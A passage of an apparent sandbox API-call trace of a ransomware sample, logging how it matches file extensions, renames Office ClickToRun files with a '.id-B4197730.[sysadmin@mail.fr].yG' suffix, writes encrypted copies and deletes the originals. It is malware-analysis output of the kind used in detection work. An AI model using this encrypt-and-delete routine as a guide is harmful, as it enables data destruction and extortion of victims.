	[0056.625] lstrlenW (lpString=".7z") returned 3
	[0056.625] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0056.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78
	[0056.625] lstrlenW (lpString=".dbf") returned 4
	[0056.625] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0056.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78
	[0056.625] lstrlenW (lpString=".1cd") returned 4
	[0056.625] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0056.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78
	[0056.625] lstrlenW (lpString=".jpg") returned 4
	[0056.625] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0056.625] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 1
	[0056.626] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0056.626] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0056.626] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[sysadmin@mail.fr].yg"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll")) returned 1
	[0056.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78
	[0056.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78
	[0056.626] lstrlenW (lpString=".doc") returned 4
	[0056.626] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0056.626] lstrlenW (lpString=".docx") returned 5
	[0056.627] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0056.627] lstrlenW (lpString=".pdf") returned 4
	[0056.627] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0056.627] lstrlenW (lpString=".xls") returned 4
	[0056.627] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0056.627] lstrlenW (lpString=".xlsx") returned 5
	[0056.627] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0056.627] lstrlenW (lpString=".ppt") returned 4
	[0056.627] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0056.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78
	[0056.627] lstrlenW (lpString=".zip") returned 4
	[0056.627] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0056.627] lstrlenW (lpString=".rar") returned 4
	[0056.627] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0056.627] lstrlenW (lpString=".bz2") returned 4
	[0056.627] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0056.627] lstrlenW (lpString=".7z") returned 3
	[0056.627] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0056.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78
	[0056.627] lstrlenW (lpString=".dbf") returned 4
	[0056.627] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0056.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78
	[0056.627] lstrlenW (lpString=".1cd") returned 4
	[0056.627] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0056.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78
	[0056.627] lstrlenW (lpString=".jpg") returned 4
	[0056.627] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0056.628] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 1
	[0056.628] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0056.628] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0056.628] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[sysadmin@mail.fr].yg"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll")) returned 1
	[0056.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72
	[0056.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72
	[0056.629] lstrlenW (lpString=".doc") returned 4
	[0056.629] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0056.629] lstrlenW (lpString=".docx") returned 5
	[0056.629] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0056.629] lstrlenW (lpString=".pdf") returned 4
	[0056.629] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0056.629] lstrlenW (lpString=".xls") returned 4
	[0056.629] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0056.629] lstrlenW (lpString=".xlsx") returned 5
	[0056.629] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0056.629] lstrlenW (lpString=".ppt") returned 4
	[0056.629] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0056.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72
	[0056.629] lstrlenW (lpString=".zip") returned 4
	[0056.629] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0056.629] lstrlenW (lpString=".rar") returned 4
	[0056.629] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0056.629] lstrlenW (lpString=".bz2") returned 4
	[0056.629] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0056.629] lstrlenW (lpString=".7z") returned 3
	[0056.629] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0056.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72
	[0056.629] lstrlenW (lpString=".dbf") returned 4
	[0056.629] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0056.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72
	[0056.629] lstrlenW (lpString=".1cd") returned 4
	[0056.629] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0056.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72
	[0056.629] lstrlenW (lpString=".jpg") returned 4
	[0056.629] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0056.630] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 1
	[0056.630] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0056.630] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0056.631] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[sysadmin@mail.fr].yg"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll")) returned 1
	[0056.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80
	[0056.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80
	[0056.631] lstrlenW (lpString=".doc") returned 4
	[0056.631] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0056.631] lstrlenW (lpString=".docx") returned 5
	[0056.631] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0056.631] lstrlenW (lpString=".pdf") returned 4
	[0056.631] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0056.631] lstrlenW (lpString=".xls") returned 4
	[0056.631] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0056.631] lstrlenW (lpString=".xlsx") returned 5
	[0056.631] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0056.631] lstrlenW (lpString=".ppt") returned 4
	[0056.631] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0056.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80
	[0056.631] lstrlenW (lpString=".zip") returned 4
	[0056.631] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0056.631] lstrlenW (lpString=".rar") returned 4
	[0056.631] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0056.631] lstrlenW (lpString=".bz2") returned 4
	[0056.631] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0056.632] lstrlenW (lpString=".7z") returned 3
	[0056.632] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0056.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80
	[0056.632] lstrlenW (lpString=".dbf") returned 4
	[0056.632] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0056.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80
	[0056.632] lstrlenW (lpString=".1cd") returned 4
	[0056.632] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0056.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80
	[0056.632] lstrlenW (lpString=".jpg") returned 4
	[0056.632] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0056.632] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.632] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.632] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0056.632] GetLastError () returned 0x0
	[0056.632] ReadFile (in: hFile=0x300, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0xee60, lpOverlapped=0x0) returned 1
	[0057.759] WriteFile (in: hFile=0x38c, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0xee70, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0xee70, lpOverlapped=0x0) returned 1
	[0057.761] ReadFile (in: hFile=0x300, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0057.761] WriteFile (in: hFile=0x38c, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0xfa, lpOverlapped=0x0) returned 1
	[0057.761] SetEndOfFile (hFile=0x38c) returned 1
	[0058.943] CloseHandle (hObject=0x38c) returned 1
	[0058.944] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0058.944] SetEndOfFile (hFile=0x300) returned 1
	[0058.944] CloseHandle (hObject=0x300) returned 1
	[0058.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0058.945] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll")) returned 1
	[0059.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77
	[0059.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77
	[0059.028] lstrlenW (lpString=".doc") returned 4
	[0059.028] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0059.028] lstrlenW (lpString=".docx") returned 5
	[0059.028] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0059.028] lstrlenW (lpString=".pdf") returned 4
	[0059.028] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0059.028] lstrlenW (lpString=".xls") returned 4
	[0059.028] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0059.028] lstrlenW (lpString=".xlsx") returned 5
	[0059.028] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0059.028] lstrlenW (lpString=".ppt") returned 4
	[0059.029] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0059.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77
	[0059.029] lstrlenW (lpString=".zip") returned 4
	[0059.029] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0059.029] lstrlenW (lpString=".rar") returned 4
	[0059.029] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0059.029] lstrlenW (lpString=".bz2") returned 4
	[0059.029] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0059.029] lstrlenW (lpString=".7z") returned 3
	[0059.029] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0059.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77
	[0059.029] lstrlenW (lpString=".dbf") returned 4
	[0059.029] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0059.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77
	[0059.029] lstrlenW (lpString=".1cd") returned 4
	[0059.029] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0059.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77
	[0059.029] lstrlenW (lpString=".jpg") returned 4
	[0059.029] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0059.029] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[sysadmin@mail.fr].yg")) returned 1
	[0060.780] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0060.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0060.780] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[sysadmin@mail.fr].yg"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 1
	[0060.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78
	[0060.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78
	[0060.781] lstrlenW (lpString=".doc") returned 4
	[0060.781] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0060.781] lstrlenW (lpString=".docx") returned 5
	[0060.781] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1
	[0060.781] lstrlenW (lpString=".pdf") returned 4
	[0060.781] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0060.781] lstrlenW (lpString=".xls") returned 4
	[0060.781] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0060.781] lstrlenW (lpString=".xlsx") returned 5
	[0060.781] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1
	[0060.781] lstrlenW (lpString=".ppt") returned 4
	[0060.781] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0060.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78
	[0060.781] lstrlenW (lpString=".zip") returned 4
	[0060.781] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0060.781] lstrlenW (lpString=".rar") returned 4
	[0060.781] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0060.781] lstrlenW (lpString=".bz2") returned 4
	[0060.781] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0060.781] lstrlenW (lpString=".7z") returned 3
	[0060.781] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0060.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78
	[0060.781] lstrlenW (lpString=".dbf") returned 4
	[0060.781] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0060.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78
	[0060.781] lstrlenW (lpString=".1cd") returned 4
	[0060.781] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0060.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78
	[0060.781] lstrlenW (lpString=".jpg") returned 4
	[0060.781] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1

Thread:
	id = 17
	os_tid = 0xac8

	[0039.986] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10000) returned 0x3ba4e38
	[0039.987] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10000) returned 0x3bb4e40
	[0039.987] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6a9fa8
	[0039.987] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x6) returned 0x6eea10
	[0039.987] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6a9ff0
	[0039.987] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x100000) returned 0x4064020
	[0039.990] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6aa008
	[0039.990] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6aa008, Size=0x20) returned 0x68fa80
	[0039.990] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6a9f60
	[0039.990] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6a9f60, Size=0x20) returned 0x68f8f0
	[0039.990] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000
	[0039.990] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30
	[0039.990] Wow64DisableWow64FsRedirection (in: OldValue=0x33aff50 | out: OldValue=0x33aff50*=0x0) returned 1
	[0039.990] lstrlenW (lpString="kernel32.dll") returned 12
	[0039.990] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68fa80 | out: hHeap=0x650000) returned 1
	[0039.990] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0039.990] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68f8f0 | out: hHeap=0x650000) returned 1
	[0039.990] Sleep (dwMilliseconds=0x64) 
	[0040.122] Sleep (dwMilliseconds=0x64) 
	[0040.299] Sleep (dwMilliseconds=0x64) 
	[0040.411] Sleep (dwMilliseconds=0x64) 
	[0040.521] Sleep (dwMilliseconds=0x64) 
	[0040.691] Sleep (dwMilliseconds=0x64) 
	[0040.911] Sleep (dwMilliseconds=0x64) 
	[0041.240] lstrcmpiW (lpString1=".cmd", lpString2=".yG") returned -1
	[0041.240] lstrlenW (lpString="PartnerSetupComplete.cmd") returned 24
	[0041.240] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0041.372] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=577) returned 1
	[0041.372] CloseHandle (hObject=0x2e4) returned 1
	[0041.372] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 0x20
	[0041.372] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0041.373] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0041.373] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.373] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.373] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0041.467] GetLastError () returned 0x0
	[0041.467] ReadFile (in: hFile=0x2e4, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x241, lpOverlapped=0x0) returned 1
	[0041.498] WriteFile (in: hFile=0x2f8, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x250, lpOverlapped=0x0) returned 1
	[0041.498] ReadFile (in: hFile=0x2e4, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0041.498] WriteFile (in: hFile=0x2f8, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x104, lpOverlapped=0x0) returned 1
	[0041.498] SetEndOfFile (hFile=0x2f8) returned 1
	[0041.499] CloseHandle (hObject=0x2f8) returned 1
	[0041.499] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
